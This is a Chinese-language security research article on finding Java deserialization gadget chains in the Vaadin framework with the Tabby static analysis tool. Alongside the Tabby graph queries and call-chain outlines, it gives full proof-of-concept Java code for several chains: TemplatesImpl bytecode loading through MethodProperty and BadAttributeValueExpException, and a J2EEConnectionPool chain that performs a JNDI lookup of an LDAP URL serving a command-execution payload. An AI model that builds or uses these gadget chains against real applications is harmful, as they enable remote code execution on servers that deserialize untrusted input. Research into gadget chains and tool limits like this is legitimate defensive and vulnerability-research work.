vaadin反序列化链挖掘:tabby静态分析实践
字数 1567 2025-08-29 08:30:24
Vaadin反序列化链挖掘与Tabby静态分析实践
前言
本文详细分析Vaadin框架中的反序列化漏洞利用链,结合Tabby静态分析工具进行挖掘实践。内容包括Vaadin框架中存在的多种恶意getValue方法、Tabby工具的使用方法、多种利用链的构造方式以及相关POC实现。
Tabby工具基础
Tabby是一款静态分析工具,用于Java反序列化漏洞的挖掘:
- 安装与基础使用参考:wh1t3p1g的文档
- 核心功能:构建代码属性图(CPG)并分析数据流
恶意getValue方法分析
Vaadin反序列化链的核心是寻找恶意的getValue方法,能够触发:
- 任意方法调用
- JNDI注入攻击
- JDBC攻击
Tabby查询语句
查找恶意getValue方法的查询语句:
match (source:Method {NAME: 'getValue'})
match (sink:Method {IS_SINK: true})
CALL tabby.algo.findPath(source, '>', sink, 5, false) yield path
RETURN path
已知恶意getValue类
-
com.vaadin.data.util.NestedMethodProperty#getValue- 原始Vaadin反序列化链使用的类
- 通过反射调用任意getValue方法
-
com.vaadin.data.util.MethodProperty#getValue- 更简洁的实现
- 直接反射调用getMethod属性中的方法
全链条查询方法
JNDI相关链查询
match (source:Method {NAME: 'toString'})
match (sink:Method {IS_SINK: true, VUL: 'JNDI'})
CALL apoc.algo.allSimplePaths(source, sink, 'ALIAS|CALL>', 15) yield path
RETURN path
查询结果包含多条通路,可触发:
- JDBC连接
- lookup调用
- JDBC attack
- JNDI注入攻击
典型调用链示例
- JDBC攻击链:
xx.readObject
-> invoke toString
-> PropertysetItem#toString
-> AbstractSelect#getValue
-> SQLContainer#ContainsId
-> TableQuery#containsRowWithKey
-> SimpleJDBCConnectionPool#reserveConnection
-> SimpleJDBCConnectionPool#createConnection
-> DriverManager.getConnection
-> JDBC attack
- JNDI注入链:
xx.readObject
-> invoke toString
-> PropertysetItem#toString
-> AbstractSelect#getValue
-> SQLContainer#ContainsId
-> TableQuery#containsRowWithKey
-> J2EEConnectionPool#reserveConnection
-> InitialContext#lookup
MethodProperty利用分析
com.vaadin.data.util.MethodProperty类提供了更灵活的利用方式。
getValue方法实现
public Object getValue() {
if (instance != null) {
return ReflectTools.invokeMethod(instance, getMethod, getArgs);
}
return null;
}
构造函数分析
-
两参数构造函数:
- 参数:instance, beanPropertyName
- 自动处理属性名(首字母大写)
- 通过initGetterMethod获取可调用的Method
- 可调用getter/is/are方法
-
七参数构造函数:
- 参数:type, instance, getMethod, setMethod, getArgs, setArgs, readOnly
- 直接反射获取方法列表
- 比对传入的getMethodName和type
- 无getter方法限制
-
直接赋值构造函数:
- 最灵活的构造方式
POC实现
Way1: 调用getter方法
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_bytecodes",new byte[][]{getTemplates()});
setFieldValue(templates, "_name", "test");
setFieldValue(templates, "_tfactory", null);
PropertysetItem pItem = new PropertysetItem();
MethodProperty<Object> methodProperty = new MethodProperty<>(templates, "outputProperties");
pItem.addItemProperty("test",methodProperty);
BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException("test");
setFieldValue(badAttributeValueExpException,"val",pItem);
Way2: 调用任意方法
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_bytecodes",new byte[][]{getTemplates()});
setFieldValue(templates, "_name", "test");
setFieldValue(templates, "_tfactory", null);
PropertysetItem pItem = new PropertysetItem();
Method getOutputProperties = templates.getClass().getDeclaredMethod("getOutputProperties");
MethodProperty methodProperty = new MethodProperty<>(Properties.class, templates, getOutputProperties,
null, new Object[0], new Object[0], -1);
pItem.addItemProperty("test",methodProperty);
BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException("test");
setFieldValue(badAttributeValueExpException,"val",pItem);
FileInputStream参数可控
com.vaadin.data.util.TextFileProperty#getValue:
- 直接使用file属性读取文件
- file属性完全可控
- 实现简单直接:
public Object getValue() {
try {
return FileUtils.readFileToString(file);
} catch (IOException e) {
throw new RuntimeException(e);
}
}
JDBC攻击实现
利用J2EEConnectionPool#reserveConnection:
- 调用链:
reserveConnection
-> getDataSource
-> lookupDataSource
- 当dataSource属性不为空时:
DataSource#getConnection
-> JDBC attack
POC代码
String command = "ldap://127.0.0.1:1389/TomcatEL/Command/calc";
SharedPoolDataSource dataSource = new SharedPoolDataSource();
dataSource.setDataSourceName(command);
J2EEConnectionPool j2EEConnectionPool = new J2EEConnectionPool(dataSource);
TableQuery tableQuery = (TableQuery) ReflectionUtil.createWithoutConstructor("com.vaadin.data.util.sqlcontainer.query.TableQuery");
ReflectionUtil.setFieldValue(tableQuery, "primaryKeyColumns", new ArrayList<>());
ReflectionUtil.setFieldValue(tableQuery, "sqlGenerator", new DefaultSQLGenerator());
ReflectionUtil.setFieldValue(tableQuery, "connectionPool", j2EEConnectionPool);
Constructor<SQLContainer> sqlContainerConstructor = SQLContainer.class.getDeclaredConstructor();
sqlContainerConstructor.setAccessible(true);
SQLContainer sqlContainer = sqlContainerConstructor.newInstance();
ReflectionUtil.setFieldValue(sqlContainer, "queryDelegate", tableQuery);
NativeSelect nativeSelect = new NativeSelect();
RowId rowId = new RowId();
ReflectionUtil.setFieldValue(nativeSelect, "value", rowId);
ReflectionUtil.setFieldValue(nativeSelect, "items", sqlContainer);
ReflectionUtil.setFieldValue(nativeSelect, "multiSelect", true);
PropertysetItem propertysetItem = new PropertysetItem();
propertysetItem.addItemProperty("test", nativeSelect);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("test");
ReflectionUtil.setFieldValue(badAttributeValueExpException, "val", propertysetItem);
Tabby工具的限制
-
数据流分析缺陷:
- 无法处理
J2EEConnectionPool#reserveConnection和SimpleJDBCConnectionPool#reserveConnection方法 - 当达到sink点时参数未被污染的情况无法检测
- 无法处理
-
连续调用问题:
- 无法正确处理
getDataSource().getConnection()这类连续调用 - 导致JDBC attack等场景无法被检测到
- 无法正确处理
总结
- Vaadin框架中存在多种恶意getValue方法
- Tabby工具能有效辅助发现潜在利用链
- MethodProperty类比NestedMethodProperty更灵活易用
- 除传统JNDI注入外,还存在JDBC攻击等利用方式
- 静态分析工具存在一定局限性,需结合人工分析